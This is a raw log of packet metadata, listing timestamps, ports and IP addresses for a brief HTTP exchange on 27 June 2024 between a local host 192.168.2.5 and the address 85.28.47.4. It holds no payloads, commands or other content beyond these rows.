Jun 27, 2024 07:37:14.946409941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946420908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946430922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946450949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946456909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946460962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946460962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946460962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946497917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946499109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947173119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947185040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947196007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947207928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947217941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947228909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947240114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947249889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947253942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947253942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947263002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947273970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947284937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947295904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947302103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947302103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947305918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947319031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947331905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947343111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947355032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.947374105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947374105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947374105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.947400093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948128939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948141098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948152065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948163033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948174000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948174000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948184967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948196888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948206902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948214054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948225021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948236942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948246956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948246956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948249102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948261023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948271990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948298931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948317051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948318005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948318005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948318005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948331118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948344946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948352098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948367119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948393106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948904991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948918104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948931932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948944092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948954105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948965073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.948968887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.948968887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.949003935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030267954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030283928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030294895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030344963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030355930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030366898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030380011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030384064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030420065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030433893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030515909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030528069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030539036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030561924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030611992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030678988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030689955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030699968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030710936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030721903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030734062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030735970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030765057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030783892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030922890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030931950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030941963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030953884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030963898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030976057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.030992985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.030992985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031045914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031045914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031080008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031120062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031145096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031157017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031167984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031178951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031188965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031213045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031234980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031425953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031443119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031452894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031461954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031471968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031481981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031483889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031507015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031512976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031528950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031529903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031543016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031555891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031555891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031568050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031582117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031594038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.031606913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031626940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031626940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.031651974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032006979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032020092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032030106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032042027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032058954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032071114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032077074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032077074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032083035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032094955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032104969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032107115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032107115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032116890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032126904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032138109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032140970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032170057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032185078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032504082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032516003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032526016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032536983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032546997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032557011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032557964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032571077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032581091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032593012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032592058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032593012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032603979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032612085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032644033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032672882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.032847881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.032944918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033060074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033071995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033082008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033092022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033102989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033113003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033123016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033130884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033130884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033133984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033144951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033155918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033166885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033179045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033190012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033193111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033193111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033202887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033210993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033214092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033225060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033226013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033236027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033246994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033257008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033294916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033294916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033294916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033898115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033910036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033920050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033930063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033940077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033951998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033962965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033966064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033966064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.033973932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.033983946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034003019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034006119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034023046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034024954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034034967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034044981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034055948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034066916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034066916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034068108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034079075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034094095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034100056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034100056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034104109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034112930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034115076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034121037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034126997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034151077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034151077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034183979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.034943104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034960032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034966946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034970045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034976959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034985065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034991026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.034998894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035007000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035013914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035016060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035017967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035018921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.035018921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.035020113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035022974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035028934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035034895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.035064936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.035094976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117168903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117237091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117274046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117297888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117297888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117328882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117350101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117362976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117397070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117405891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117405891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117429972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117466927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117494106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117494106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117501020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117522955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117568970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117603064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117602110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117635012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117650986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117667913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117677927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117677927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117677927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117717028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117717028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117726088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117788076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117796898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117808104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117846966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117887020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.117927074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117938042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117949963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117964029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.117979050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118026972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118060112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118113995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118206978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118217945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118230104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118241072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118252993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118263960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118264914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118277073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118295908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118328094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118514061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118525028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118536949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118547916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118558884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118568897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118581057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118591070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118613958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118613958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118613958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118665934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.118870020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.118918896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119396925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119407892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119419098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119429111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119438887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119450092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119462013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119465113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119472027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119483948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119494915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119507074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119508982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119508982 CEST	49705	80	192.168.2.5	85.28.47.4
